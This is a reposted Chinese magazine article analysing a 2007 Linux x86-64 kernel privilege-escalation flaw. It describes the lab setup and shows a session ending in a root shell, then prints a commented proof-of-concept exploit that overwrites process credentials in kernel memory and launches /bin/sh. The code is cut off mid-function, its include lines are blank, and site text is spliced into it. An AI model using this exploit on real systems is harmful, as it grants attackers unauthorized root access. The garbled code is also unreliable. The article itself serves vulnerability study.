Linux 64位内核Ptrace权限提升漏洞分析与利用 -电脑资料

时间:2017-02-08 05:29:15
染雾
分享
WORD下载 PDF下载 投诉

本篇文章源自《 防线》2007年12月刊

转载请注明版权

作者:张东辉 袁野

2007年09年27日,在milw0rm上公布的一个Linux内核漏洞——“Linux Kernel 2.4/2.6 x86-64 System Call Emulation Exploit”引起了相当大的关注,点击数目前已经累积达到15235点,可以说是今年点击数最高的漏洞,而其他公布出来的漏洞一般都是1000~3000点,最多5000点左右已经算是很受关注了,

Linux 64位内核Ptrace权限提升漏洞分析与利用

。因为这是一个重量级的Linux内核漏洞,可以用来做权限提升,即从任意用户权限提升至Root权限,甚至是内核权限,因此备受关注!而且影响的内核版本比较高。

唯一遗憾的是,这个漏洞只作用于64位的系统,并且是在x86-64平台上。漏洞具体描述是这样的:在x86-64平台上,Linux Kernel支持对IA32用户域应用程序的兼容模拟,arch/x86_64/ia32/ia32entry.S代码优化导致在底层汇编例程中使用了无效的opcode,由于没有正确地验证存储在%RAX寄存器中的64位值,可能导致越界系统调用表访问,本地攻击者可以在Linux Kernel系统环境中执行任意指令。由于这个漏洞的严重性,目前Linux各大发行版已发布了该漏洞的补丁。

漏洞重现与分析

作为Linux内核漏洞来学习,我们首先要做的就是重现这个漏洞。看到这个漏洞的title就应该知道,这是一个x86-64平台下的漏洞。x86-64指令集是扩展的64位x86指令集。

目前主流CPU使用的64位技术主要有AMD公司的AMD64位技术、Intel公司的EM64T技术和IA-64技术。其中IA-64是Intel独立开发的,不兼容目前传统的32位计算机,仅用于Itanium(安腾)以及后续产品Itanium 2。

AMD64位技术是在原始32位X86指令集的基础上加入了X86-64扩展64位X86指令集,在硬件上兼容原来的32位X86软件,并同时支持X86-64的扩展64位计算,使得这款芯片成为真正的64位X86芯片。这是一个真正的64位的标准,X86-64具有64位的寻址能力。

Intel官方是给EM64T这样定义的:EM64T全称Extended Memory 64 Technology,即扩展64bit内存技术。EM64T是Intel IA-32架构的扩展,即IA-32e(Intel Architectur-32 extension)。IA-32处理器通过附加EM64T技术,便可在兼容IA-32软件的情况下,允许软件利用更多的内存地址空间,并且允许软件进行32bit线性地址写入。EM64T特别强调的是对32 bit和64 bit的兼容性。

有了以上对64位技术的了解,我们应该能想到,做这个漏洞实验,最好选用AMD64的机器。我们平时使用的32位机器是绝对不行的,我本想用虚拟机在32位机器上安装一个64位的Linux操作系统,最后发现是行不通的。因为虚拟机的原理是把Guest操作系统执行的每一条指令转交给Hos

t操作系统下真实的CPU来执行,所以由于Host中32位的CPU不支持Guest中64位的指令,因此是不可能成功的。另外,我还试图安装模拟器,以在32位机器上模拟一个64位的CPU,后来发现慢得我实在接受不了!于是我还是老老实实的借了一台AMD64机器,如图1所示,上面已经安装了32位的Windows XP操作系统,不过没关系,32位操作系统只要CPU是64位的就可以虚拟出64位的操作系统。

图1

因此,如果大家要重现这个漏洞的话,一定要把64位Linux操作系统装好,最好选用AMD64机器。然后在其上安装VMWare虚拟机,版本高一点比较好,因为低版本的VMWare在64位方面有些还是实验性质的,而高版本已经完全搞定64位虚拟的问题了。我安装的是6.0版的VMWare,如图2所示。

图2

之后安装一个Linux系统,注意一定要选用适合AMD64的安装包,我安装的是Ubuntu 7.04这个发行版的AMD64位安装包——ubuntu-7.04-desktop-amd64.iso。系统装好后,才算实验环境基本搭建好。

Ubuntu 7.04安装好后,不要使用Ubuntu的自动更新,如果内核被更新的话,很可能我们的实验就没法完成了,因为更新就是在给内核打补丁。接下来,我们可以把POC程序(exp.c)在Linux下跑一跑,也就是用gcc编译并运行。

shineast@shineast-desktop:~$ cd /home/shineast/linux_exp/

shineast@shineast-desktop:~/linux_exp$ ls

exp.c

shineast@shineast-desktop:~$ gcc –o exp exp.c

shineast@shineast-desktop:~/linux_exp$ ls

expexp.c

shineast@shineast-desktop:~/linux_exp$ ./exp

UID 0, EUID:0 GID:0, EGID:0

#

注意最后一行的那个“#”,它可不是一般的什么“#”号,而是表示权限成功提升!程序是以一般用户运行的,结果却得到了Root权限的Shell。这确实让人惊叹而兴奋啊!

下面我们就一起来学习一下这段POC程序,网上有位朋友写了这段程序的注释,我在他的基础上又补充了一些,同时把它们串起来,我想这样大家可以理解得更深刻一些。

#include

#include

#include

#include

#include

//int execl(const char * path,const char * arg,....);

#include

#include

#include

//void *mmap(void *start,size_t length,int prot,int flags,int fd,off_t offsize);

#include

uint32_t uid, euid, suid;

static void kernelmodecode(void){

int i;

uint8_t *gs;

uint32_t *ptr;

/*在内核空间,gs寄存器保存了当前任务的task_struct,task_struct记录了进程和线程的所有信息,包括用户id */

asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));

/*遍历task_struct结构,查找用户id保存的位置*/

for (i = 200; i < 1000; i+=1) {

ptr = (uint32_t*) (gs + i);

/*找到用户id保存的位置*/

if ((ptr[0] == uid) && (ptr[1] == euid)

&& (ptr[2] == suid) && (ptr[3] == uid)) {

/*将当前进程用户id、efficency id和suid修改为管理员id,

电脑资料

《Linux 64位内核Ptrace权限提升漏洞分析与利用》()。管理员id==0,这样就使得当前进程拥有了root权限!*/

ptr[0] = 0; //UID

ptr[1] = 0; //EUID

ptr[2] = 0; //SUID

break;

}

}

}

//3F 8000 0808,400 0000

static void docall(uint64_t *ptr, uint64_t size){

getresuid(&uid, &euid, &suid);

/* 强制指定地址的mmap必须以K为起始地址边界*/

// 3F 8000 0808 and FFFFFFFFFFF000 = 3F 8000 0000

uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

/*下面是子进程A 64位地址空间:

0x00xffffffffffffffff

--------------------------------------

|用户虚地址空间| |||

-----------------------------^--^-^---

|| 系统调用表

|内核结束地址xffffffff84000000

内核起始地址xffffffff80000000

====================================================

以下是执行mmap后的地址空间:

0x0用户虚地址空间0xffffffffffffffff

--------------------------------------

||| | |||

----^------------------------^--^-^---

| || 系统调用表

tmp指向的地址|内核结束地址xffffffff84000000

内核起始地址xffffffff80000000*/

//tmp=3F 8000 0000;size=400 0000

if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,

MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {

printf("mmap fault");

exit(1);

}

/*将tmp指向的地址填充为我们后门函数!*/

for (; ptr < (tmp + size); ptr++)

*ptr = (uint64_t)kernelmodecode;

/*通过位系统调用号进入内核,这个调用会触发父进程的调试!通过父进程修改rax,让内核地址空间溢出,执行到tmp指向的kernelmodecode,并运行在内核空间!更详细内容可以查看最后对内核bug的分析。*/

__asm__(""

" movq $0x101, %rax"

" int $0x80");

printf("UID %d, EUID:%d GID:%d, EGID:%d", getuid(), geteuid(), getgid(), getegid());

/*执行shell!*/

execl("/bin/sh", "bin/sh", 0);

printf("no /bin/sh ??");

exit(0);

}

int main(int argc, char **argv){

int pid, status, set = 0;

/*用来存放CPU中位寄存器RAX*/

uint64_t rax;

/*内核代码段起始虚地址*/

uint64_t kern_s = 0xffffffff80000000;

/*内核静态分配的结束地址*/

uint64_t kern_e = 0xffffffff84000000;

/*用来作为后门的代码地址*/

uint64_t ff = 0x0000000800000101 * 8;//40 0000 0808

/*main()只有第二次被执行才能进入这里*/

if (argc == 4) {

/* 注意:(kern_s+off) 已经溢出!! 3F 8000 0808,所以docall中的mmap才能成功!*/

// 3F 8000 0808,400 0000

docall((uint64_t*)(kern_s + off), kern_e - kern_s);

exit(0); //代码无法执行到这里

}

/*main()第一次到这里,创建子进程A。创建子进程的目的是为了让父进程能调试

Linux 64位内核Ptrace权限提升漏洞分析与利用 -电脑资料

手机扫码分享

Top